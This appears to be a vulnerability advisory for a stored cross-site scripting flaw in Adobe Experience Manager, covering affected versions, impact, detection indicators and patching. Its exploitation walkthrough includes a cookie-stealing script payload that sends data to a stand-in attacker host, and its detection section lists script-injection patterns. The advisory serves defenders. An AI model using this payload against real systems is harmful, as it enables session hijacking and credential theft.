CVE-2025-46880: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46880 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available on June 13, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An attacker with low-level authenticated access can inject malicious JavaScript payloads into form fields within AEM; these scripts are stored server-side and subsequently executed in the browsers of other users who visit the affected page. Exploitation requires network access, low privileges, and user interaction (a victim browsing to the compromised page), but no special configuration or complex conditions (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser within the context of the AEM application. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, and potential exposure of sensitive data accessible within the AEM environment. Confidentiality and integrity impacts are both rated Low, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, using web fingerprinting tools or by inspecting HTTP response headers and login pages.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., content authoring forms, comment fields, or custom components).
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator or editor) to browse to the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server, potentially enabling session hijacking or further unauthorized actions within AEM (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring or form submission endpoints containing script tags or encoded JavaScript (e.g., %3Cscript%3E, javascript:, onerror=).
• File System: Unexpected or modified AEM content nodes containing embedded <script> tags or event handler attributes (e.g., onload, onerror) in stored page content.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual DNS queries originating from AEM user sessions.
• Process/Application: AEM error logs showing unexpected JavaScript-related rendering errors or content sanitization warnings associated with specific form fields or content paths.

Adobe has released patches addressing this vulnerability: upgrade AEM on-premise to version 6.5.23.0 or later, and AEM Cloud Service to version 2025.5.0 or later. As interim measures, administrators should implement strict input validation and output encoding for all user-submitted content, and review existing stored content for injected scripts. Monitoring for unusual script executions or unexpected browser behaviors in AEM environments is also recommended (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, as part of their June 2025 patch coverage (CIS Advisory). No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE.